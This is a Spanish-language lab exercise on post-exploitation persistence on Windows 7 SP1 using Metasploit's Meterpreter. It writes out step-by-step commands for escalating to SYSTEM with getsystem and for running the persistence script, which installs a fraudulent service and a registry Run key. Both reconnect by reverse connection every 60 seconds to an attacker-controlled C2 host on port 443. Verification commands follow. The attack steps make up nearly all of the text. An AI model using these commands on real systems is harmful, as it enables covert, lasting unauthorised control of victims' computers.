Práctica 04: Ejecución de la Persistencia en Windows 7 SP1

✅ 1️⃣ Persistencia mediante un Servicio en Windows 7 SP1

📌 Objetivo:

Crear un servicio fraudulento que mantenga la conexión con el servidor C2 de Metasploit.

Pasos en Kali Linux (desde Meterpreter):

1️⃣ Abrir una sesión de Meterpreter en la máquina comprometida

Si ya tienes una sesión activa, conéctate a ella:

```
sessions -l  # Lista las sesiones activas
sessions -i [ID]  # Conéctate a la sesión
```

2️⃣ Verificar permisos elevados:

```
getsystem  # Intentar obtener permisos de NT AUTHORITY\SYSTEM
```

Si no funciona, intenta con:

```
run post/windows/escalate/getsystem
```

3️⃣ Utilizar el módulo de persistencia en servicio:

```
run persistence -S -U -i 60 -p 443 -r 10.0.2.Y
```

📌 Explicación de los parámetros:

- S → Instala la persistencia como un servicio.
- U → Ejecuta el payload con privilegios de usuario.
- i 60 → Intenta reconectar cada 60 segundos.
- p 443 → Utiliza el puerto 443 para la conexión reversa.
- r 10.0.2.Y → Dirección IP de la máquina Kali Linux.

4️⃣ Validar que el servicio se ha creado:

```
shell
sc query | findstr /i "metasploit"
```

Si aparece un servicio sospechoso, significa que la persistencia está activa.

✅ 2️⃣ Persistencia a través del Registro de Windows

📌 Objetivo:

Modificar el registro de Windows para que la conexión al servidor C2 se active en cada inicio de sesión.

Pasos en Kali Linux (desde Meterpreter):

1️⃣ Crear una clave de registro con un payload persistente:

```
run persistence -U -i 60 -p 443 -r 10.0.2.Y
```

📌 Esto agrega un valor en:

```
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
```

Cada vez que el usuario inicie sesión, la conexión con el servidor C2 se reestablecerá.

2️⃣ Verificar que la clave se ha creado correctamente:

```
shell
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

Si aparece una entrada sospechosa apuntando a un ejecutable de Metasploit, significa que la persistencia está activa.